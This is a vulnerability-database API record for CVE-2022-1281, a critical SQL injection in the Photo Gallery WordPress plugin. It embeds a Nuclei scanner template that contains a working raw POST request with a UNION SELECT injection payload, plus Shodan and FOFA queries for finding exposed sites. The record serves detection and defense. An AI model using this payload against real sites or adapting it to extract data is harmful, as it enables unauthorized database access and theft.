{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-1281/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-1281/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-1281/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-1281/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-1281/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-1281"},"sightings":{"href":"/api/v1/sightings/cve-2022-1281"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-1281.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-1281\n\ninfo:\n  name: Photo Gallery WordPress v1.6.3 - SQL Injection\n  author: theamanrawat\n  severity: critical\n  description: |\n    Photo Gallery WordPress plugin v1.6.3 contains a SQL injection caused by improper escaping of $_POST['filter_tag'] parameter in SQL queries, letting attackers execute arbitrary SQL commands, exploit requires sending crafted POST requests.\n  impact: |\n    Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.\n  remediation: |\n    Update to the latest version of the plugin where the issue is fixed.\n  reference:\n    - https://wpscan.com/vulnerability/2b4866f2-f511-41c6-8135-cf1e0263d8de\n    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfar=&new=2691560&old=2682756&sfp_email=&sfar=\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-1281\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-1281\n    epss-score: 0.43354\n    epss-percentile: 0.98734\n    cwe-id: CWE-89\n  metadata:\n    verified: false\n    max-request: 2\n    shodan-query: 'http.html:\"photo-gallery\"'\n    fofa-query: 'body=\"/wp-content/plugins/photo-gallery/\"'\n  tags: cve,cve2022,sqli,wordpress,wp-plugin,photo-gallery,vkev\n\nvariables:\n  num: 999999999\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php?image_id=123 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=GalleryBox&filter_tag=1)\"+union+select+*+from+(select+123)a1+join+(select+2)a2+join+(select+3)a3+join+(select+2)a4+join+(select+2)a5++join+(select+2)a6+join+(select+md5({{num}}))a7+join+(select+2)a8+join+(select+2)a9+join+(select+2)a10+join+(select+2)a11+join+(select+2)a12+join+(select+2)a13+join+(select+2)a14+join+(select+2)a15+join+(select+2)a16+join+(select+2)a17+join+(select+2)a18+join+(select+version())a19+join+(select+2)a20+join+(select+2)a21+join+(select+2)a22+join+(select+2)a23--+-\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: body\n        words:\n          - \"{{md5(num)}}\"\n# digest: 4a0a00473045022100d692bcfde326a18fcd59925ce05f4ca93c95a4700f707fb037d99f119b6dca9a02205673f9514cdaed9502c1ec9252632109a6651046beb2d33a6ce543e44264afba:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-1281"}